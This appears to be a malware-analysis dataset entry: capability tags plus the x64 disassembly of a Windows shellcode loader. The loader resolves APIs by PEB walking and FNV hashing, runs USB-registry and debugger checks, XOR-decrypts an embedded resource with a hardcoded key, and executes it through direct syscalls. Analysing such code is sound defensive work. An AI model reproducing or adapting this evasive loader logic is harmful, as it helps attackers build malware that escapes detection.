Function at 0x1400013d0
Capabilities:
Access peb ldr_data
Check for debugger via api
Check for peb beingdebugged flag
Encode data using xor
Extract resource via kernel32 functions
Get kernel32 base address
Hash data using fnv
Query or enumerate registry key
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x550
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
movsxd rcx, dword [rax + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
mov edx, dword [rax + rcx + 0x18]
lea r8, [rax + 2]
mov r10d, dword [0x14003d004]
lea r9, [0x14003d004]
jmp 0x14000142b
xor r10d, r10d
test edx, edx
je 0x1400014bc
dec edx
test r10d, r10d
je 0x140001420
mov esi, dword [rax + rcx + 0x20]
add rsi, rax
mov r11d, edx
mov edi, dword [rsi + r11*4]
add rdi, r8
mov ebx, r10d
mov rsi, r9
nop dword [rax]
mov r15d, 0x811c9dc5
mov r14, rdi
nop dword [rax]
mov ebp, r15d
movsx r12d, byte [r14]
inc r14
xor r15d, r12d
imul r15d, r15d, 0x1000193
test r12d, r12d
jne 0x140001460
cmp ebp, ebx
je 0x140001490
mov ebx, dword [rsi + 4]
add rsi, 4
test ebx, ebx
jne 0x140001450
jmp 0x140001423
mov r10d, dword [rax + rcx + 0x1c]
mov edi, dword [rax + rcx + 0x24]
add r10, rax
add rdi, rax
movzx r11d, word [rdi + r11*2]
mov r10d, dword [r10 + r11*4]
mov r10d, dword [rax + r10 + 4]
mov dword [rsi], r10d
mov r10d, dword [0x14003d004]
jmp 0x140001423
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMControlSet001EnumUSBSTOR
xor esi, esi
mov rcx, 0xffffffff80000002
xor r8d, r8d
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x80]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x28], xmm0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x58], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rsp + 0x68], 0
je 0x140001592
call fcn.140001130
test al, al
jne 0x140001597
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140001577
mov dword [rsp + 0x80], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rsp + 0x80], 0
je 0x1400015ab
lea rcx, [0x1400343b0]
lea rdx, str.Basic_debugger_check_detected__Exiting...
call fcn.140001830
mov rcx, rax
call fcn.140001c20
mov esi, 1
mov eax, esi
add rsp, 0x550
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rsi, [rsp + 0x80]
mov r8d, 0x4d0
mov rcx, rsi
xor edx, edx
call fcn.140021d50
mov dword [rsp + 0xb0], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001620
cmp qword [rsp + 0xc8], 0
jne 0x1400016ce
cmp qword [rsp + 0xd0], 0
jne 0x1400016ce
cmp qword [rsp + 0xd8], 0
jne 0x1400016ce
cmp qword [rsp + 0xe0], 0
jne 0x1400016ce
call fcn.140001300
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x74], 0
xor esi, esi
mov edx, 0x64
mov r8d, 0xa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
xor ecx, ecx
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
mov ebx, eax
mov qword [rsp + 0x78], rbx
mov r14d, dword [0x14003d004]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r10, rax
lea rdx, [rsp + 0x80]
lea r9, [rsp + 0x78]
mov eax, r14d
xor r8d, r8d
sub rsp, 0x40
mov qword [rsp + 0x28], 0x3000
mov qword [rsp + 0x30], 4
syscall
add rsp, 0x40
test ebp, ebp
je 0x14000174f
cmp ebx, 1
jne 0x1400016e1
xor eax, eax
xor ecx, ecx
jmp 0x140001732
lea rcx, [0x1400343b0]
lea rdx, str.Advanced_debugger_check_detected__Exiting...
jmp 0x140001585
mov edx, ebx
and edx, 0xfffffffe
xor r8d, r8d
lea r9, str.veryASDJK123FN123FN_41PABasd123QX1235HXC57FASD___
xor eax, eax
xor ecx, ecx
nop word cs:[rax + rax]
cmp rcx, 0x33
cmove rcx, r8
movzx r10d, byte [rcx + r9]
xor byte [rdi + rax], r10b
inc rcx
cmp rcx, 0x33
cmove rcx, r8
movzx r10d, byte [rcx + r9]
xor byte [rdi + rax + 1], r10b
inc rcx
add rax, 2
cmp rdx, rax
jne 0x140001700
test bl, 1
je 0x14000174f
xor edx, edx
cmp rcx, 0x33
cmovne rdx, rcx
lea rcx, str.veryASDJK123FN123FN_41PABasd123QX1235HXC57FASD___
movzx ecx, byte [rdx + rcx]
xor byte [rdi + rax], cl
mov rcx, qword [rsp + 0x80]
mov rdx, rdi
mov r8, rbx
call fcn.1400216b0
mov edi, dword [0x14003d008]
mov rbx, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rbx
mov r10, rax
lea rdx, [rsp + 0x80]
lea r8, [rsp + 0x78]
lea rcx, [rsp + 0x74]
mov eax, edi
mov r9d, 0x20
sub rsp, 0x30
mov qword [rsp + 0x28], rcx
syscall
add rsp, 0x30
mov edi, dword [0x14003d00c]
mov r14, qword [rsp + 0x80]
call rbx
mov r9, rax
lea r10, [rsp + 0x68]
mov eax, edi
mov edx, 0x1fffff
xor r8d, r8d
sub rsp, 0x60
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
syscall
add rsp, 0x60
mov rcx, qword [rsp + 0x68]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140001597